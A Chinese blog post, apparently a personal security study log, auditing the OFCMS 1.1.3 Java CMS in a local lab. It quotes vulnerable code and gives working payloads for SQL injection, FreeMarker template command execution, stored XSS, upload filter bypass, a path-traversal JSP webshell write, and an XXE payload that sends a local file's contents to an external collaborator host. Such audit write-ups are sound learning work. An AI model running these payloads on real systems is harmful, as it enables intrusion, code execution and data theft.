OFCMS 1.1.3 代码审计(Java)

OFCMS 1.1.3 代码审计(Java)

参考文章:

环境搭建

项目地址:https://gitee.com/oufu/ofcms/tree/V1.1.3/

在IDEA中打开项目后,添加一个tomcat服务器

部署工件

等待maven配置后打开网站

自动安装报错

开始手动安装

首先在MySQL中创建空的ofcms数据库,然后将 ofcms-V1.1.3/doc/sql/ofcms-v1.1.3.sql文件导入到自己创建的数据库中(运行sql文件)

将数据库配置文件ofcms-V1.1.3/ofcms-admin/src/main/resources/dev/conf/db-config.properties文件名修改为db.properties,然后修改文件中的数据库配置信息

启动项目,访问程序后台地址:
http://localhost:8080/ofcms_admin_war/admin/index.html

默认账号和密码:admin/123456

成功登录

审计过程

  • 先看pom.xml文件,关注引入的依赖

    此cms引入了log4j的依赖,之后可以关注一下有无利用点

  • 打开网站时在软件介绍处可以看到使用的是mybatis,freemarker模板,shiro安全框架,mysql数据库

  • 翻看目录结构判断控制后台登录的核心代码大概都在ofcms-admin内

  • 搜索关键字逐个排查漏洞(白盒)+在网页寻找功能点测试(黑盒)

白盒审计时直接使用工具SAST(搜索关键字),省去逐个搜索关键字的时间

逐个排查高危与中危漏洞,与网页功能点对应

sql注入

工具审出的第一条sql注入漏洞回到源代码中找到对应点

ofcms-admin/src/main/java/com/ofsoft/cms/admin/controller/system/SystemGenerateController.java

1
2
3
4
5
6
7
8
9
10
public void create() {
try {
String sql = getPara("sql");
Db.update(sql);
rendSuccessJson();
} catch (Exception e) {
e.printStackTrace();
rendFailedJson(ErrorCode.get("9999"), e.getMessage());
}
}

可以看到create()方法接收了用户输入的一条sql语句,并且无过滤

追踪getPara方法发现,此方法只是接收参数,无过滤

追踪Db.update方法,一直追踪到

jfinal/jfinal/3.2/jfinal-3.2.jar!/com/jfinal/plugin/activerecord/DbPro.class

1
2
3
4
5
6
7
int update(Config config, Connection conn, String sql, Object... paras) throws SQLException {
PreparedStatement pst = conn.prepareStatement(sql);
config.dialect.fillStatement(pst, paras);
int result = pst.executeUpdate();
DbKit.close(pst);
return result;
}

看到执行了传入的sql语句

虽然此方法创建预编译的 SQL 语句对象 pst,但是并未使用预编译写法(占位符,固定sql语句),而是将传入的sql语句直接作为一个参数执行

判断此处存在sql注入

在网页寻找功能点:

由于此段代码在admin文件夹下,判断为后台功能点

在后台系统设置->代码生成->增加->输入sql

测试后发现能够报错,尝试报错注入

1
update of_cms_link set link_name=updatexml(1,concat(0x7e,(user())),0) where link_id = 4

成功注入

注:

刚刚可以看到使用了方法PreparedStatement.executeUpdate()

executeUpdate() 适用于执行:

  • INSERT
  • UPDATE
  • DELETE
  • CREATE, DROP, ALTER 等 DDL 语句

payload构造应该使用这些语句

SSTI模板注入

在一开始查看软件说明时就可以了解到此源代码使用了freemarker模板引擎

在网页后台查看功能点时看到修改模板文件的功能

在源代码中定位控制代码

ofcms-admin/src/main/java/com/ofsoft/cms/admin/controller/cms/TemplateController.java

save方法

可以看到对模板内容控制的代码只有框起来的两行,下面直接使用writeString方法写入并执行

追踪红框中调用的getRequest()与getParameter()方法,发现没有任何过滤

在网上查找freemarker模板ssti注入利用

Java安全之freemarker 模板注入 - nice_0e3 - 博客园 (cnblogs.com)

payload

1
2
<#assign ex="freemarker.template.utility.Execute"?new()> 
${ ex("calc") }

不知道为什么,我的只有这个payload是可以弹出计算器的,可以尝试多种payload

前台存储型xss

在网页寻找功能点时看到前台新闻页面有评论功能

发表评论通过开发者工具->网络功能,查看消息头,判断控制此功能的代码位置

在源码中查找

ofcms-api/src/main/java/com/ofsoft/cms/ api/v1/CommentApi.java

save方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public void save() {
try {
// 获取请求参数
Map params = getParamsMap();
// 获取用户真实 IP 地址,并添加到参数中
params.put("comment_ip", IpKit.getRealIp(getRequest()));
// 调用 SQL 模板 "cms.comment.save" 并执行更新操作(插入评论)
Db.update(Db.getSqlPara("cms.comment.save", params));
// 返回成功的 JSON 响应
rendSuccessJson();
} catch (Exception e) {
// 如果出现异常,打印堆栈信息
e.printStackTrace();
// 返回失败的 JSON 响应
rendFailedJson();
}
}

追踪getSqlPara函数并未发现过滤,此段代码只是直接获取评论内容随后在数据库中更新

使用xss payload:<script>alert(1)</script>测试

看到其他师傅的测试是可以正常弹窗的,我的有404报错,不知道为什么

在后台直接编辑评论是可以正常弹窗的

后台文件上传01

在网站寻找功能点找到文件上传

内容管理->栏目管理->关于我们->编辑->栏目图上传

抓取数据包

找到路由/ofcms_admin_war/admin/comn/service/upload.js

全局搜索/comn/service/

在源码中定位

ofcms-admin/src/main/java/com/ofsoft/cms/admin/controller/ComnController.java

upload方法

在此处下断点进行调试

getFile方法->getFiles方法->MultipartRequest类->wrapMultipartRequest方法->isSafeFile方法

getFiles方法

1
2
3
4
5
6
7
8
9
public List<UploadFile> getFiles(String uploadPath) {
// 如果当前请求不是 MultipartRequest 类型(即非文件上传请求)
if (!(this.request instanceof MultipartRequest)) {
// 将当前请求转换为 MultipartRequest,并指定文件上传的保存路径
this.request = new MultipartRequest(this.request, uploadPath);
}
// 将请求强制转换为 MultipartRequest,并获取上传的文件列表
return ((MultipartRequest)this.request).getFiles();
}

该方法的作用是获取上传的文件列表,具体步骤如下:
1.判断当前请求是否为文件上传类型(MultipartRequest);
2.如果不是,则将其包装成一个支持文件上传的请求对象,并指定上传路径;
3.最后,从请求中获取并返回上传的文件列表(List)。

wrapMultipartRequest方法中可以看到调用了isSafeFile方法

isSafeFile方法方法用于判断上传的文件类型是否是.jsp或.jspx文件

将文件后缀首尾去空及转换成小写

动态调试时也可以看到经过了复杂的判断,可以看到有Content-Type和后缀验证

此处是黑名单绕过

文件上传绕过总结——详细保姆篇-CSDN博客

尝试截断%00,与后缀jspx绕过,能够成功上传,但是无法识别

尝试多种后是利用了1.jsp::$DATA(windows特性,上传至windows服务器后为1.jsp)成功上传

注:

动态调试后发现上传后的图片不在网站路径下

在tomcat/apache-tomcat-9.0.98/webapps/ofcms_admin_war/upload/image路径下

后台文件上传02

感觉没想到文件上传漏洞会以这种形式呈现

如果不看文章自己肯定是想不到的

ofcms-admin/src/main/java/com/ofsoft/cms/admin/controller/cms/TemplateController.java

save方法

可以看到这里对文件名及文件内容都没有限制,虽然此处控制的是网页模板修改功能,但是看代码是可以通过数据包上传文件的,是一个可利用的接口

抓取请求数据包往服务器写入webshell,在文件名中插入../路径跳转符,控制在static目录下写入恶意JSP文件

选择一个jsp恶意文件将内容url编码后写入数据包file_content中

file_name改为../../../static/shell.jsp

(原index.html在/tomcat/apache-tomcat-9.0.98/webapps/ofcms_admin_war/WEB-INF/page/default/目录下,static与WEB-INF文件夹在同一级)

不会上传到网站根目录下!!!

可以看到顺利上传

D:/tomcat/apache-tomcat-9.0.98/webapps/ofcms_admin_war/static

访问一下

可以看到是能够正常访问的,就是需要改一下编码

XXE

在外部库中可以看到是有解析xml文档的相关资源包的

尝试搜索xml关键字

在com.ofsoft.cms.admin.controller.ReprotAction类的expReport方法中,接收用户输入的j参数后,拼接生成文件路径,这里没有进行过滤,可以穿越到其它目录,但是限制了文件后缀为jrxml,接下来会调用JasperCompileManager.compileReport()方法

.jrxml 是JasperReports 报表模板源文件的文件扩展名,它是JasperReports 的 XML 格式报表模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
public void expReport() {
HttpServletResponse response = getResponse();
Map<String, Object> hm = getParamsMap();

//获取参数 j,即报表模板名(不含扩展名);
//拼接模板的完整路径;
//用 PathKit.getWebRootPath() 获取 Web 根目录路径;
//创建一个 File 对象指向 .jrxml 模板文件。
String jrxmlFileName = (String) hm.get("j");
jrxmlFileName = "/WEB-INF/jrxml/" + jrxmlFileName + ".jrxml";
File file = new File(PathKit.getWebRootPath() + jrxmlFileName);


String fileName = (String) hm.get("reportName");
log.info("报表文件名[{}]", file.getPath());
OutputStream out = null;
try {
DataSource dataSource = (DataSource) SysBeans
.getBean("dataSourceProxy");
JasperPrint jprint = (JasperPrint) JasperFillManager.fillReport(
JasperCompileManager
.compileReport(new FileInputStream(file)), hm,
dataSource.getConnection());
JRXlsExporter exporter = new JRXlsExporter();
response.setHeader("Content-Disposition", "attachment;filename="
+ URLEncoder.encode(fileName, "utf-8") + ".xls");
response.setContentType("application/xls");
response.setCharacterEncoding("UTF-8");
JasperReportsUtils.render(exporter, jprint,
response.getOutputStream());
response.setStatus(HttpServletResponse.SC_OK);
out=response.getOutputStream();
out.flush();
out.close();
} catch (Exception e) {
e.printStackTrace();
}finally{
try {
out.close();
} catch (IOException e) {
e.printStackTrace();
}
}

分析代码后找到了一段比较关键的代码

填充并生成报表

先使用 JasperCompileManager 编译 .jrxml 文件;

然后用参数 hm 和数据库连接填充报表内容,生成 JasperPrint 对象(代表报表数据结构)。

1
2
3
4
JasperPrint jprint = (JasperPrint) JasperFillManager.fillReport(
JasperCompileManager.compileReport(new FileInputStream(file)),
hm,
dataSource.getConnection());

此段代码可能对文件内容有控制

跟进compileReport函数

compileReport->compile->JRXmlLoader.load->xmlLoader.loadXML->digester.parse(反序列化)

compile方法

xmlLoader.loadXML

此方法主要是将 .jrxml 报表模板文件从 InputStream 中读取,使用 SAX 解析方式转换为 JasperDesign 报表设计对象

可以看到代码中并没有禁用外部实体

1
2
3
4
// 不支持外部实体
xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
// 不支持dtd
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);

开始测试

利用前面发现的文件上传漏洞上传一个jrxml为后缀的文件

文件内容

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % file SYSTEM "file:///E:/1.txt">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://3qu6uz9jay9cbyrfh9d0wtxmndt4h25r.oastify.com/?x=%file;'>">
%eval;
%exfil;

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE abc [ <!ENTITY xxe SYSTEM "http://127.0.0.1:7777">&xxe; ]>

看到成功上传

访问url

1
http://localhost:8080/ofcms_admin_war/admin/reprot/expReport.html?j=../../static/1

但是换了很多dns平台都没有访问记录,不知道为什么

参数未过滤(误报)

ofcms-admin/src/main/java/com/ofsoft/cms/admin/controller/cms/ContentController.java

第二条关于sql注入漏洞的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public void update() {
List<Record> list = new ArrayList<Record>();
Map<String, Object> params = getParamsMap();
try {
//修改内容
Record record = new Record();
record.set("title_name", params.get("title_name"));
record.set("content_id", params.get("content_id"));
Db.update("of_cms_content", "content_id",record);
//组装参数
for (String key : params.keySet()) {
list.add(new Record().set("name",key).set("value", params.get(key).toString()).set("content_id", params.get("content_id")));
}
//批量修改
Db.batchUpdate("of_cms_content_field","content_id,name",list, list.size());

rendSuccessJson();
} catch (Exception e) {
e.printStackTrace();
rendFailedJson(ErrorCode.get("9999"));
}
}

扫描呈现出此代码有漏洞的原因是工具中程序认定params中参数未过滤,但是实际通过此参数无法注入恶意数据完成字符串拼接

总结

  1. java代码审计工具初始配置下不如php完善,很多漏洞需要手动查找(准备多换几个工具试试)
  2. 要黑白盒结合审计,在网站寻找功能点再对应源码测试
  3. 手动搜索特殊函数与关键字对搜索结果做筛选找漏洞

OFCMS 1.1.3 代码审计(Java)
http://huang-d1.github.io/2025/07/13/OFCMS 1.1.3 代码审计(Java)/
作者
huangdi
发布于
2025年7月13日
许可协议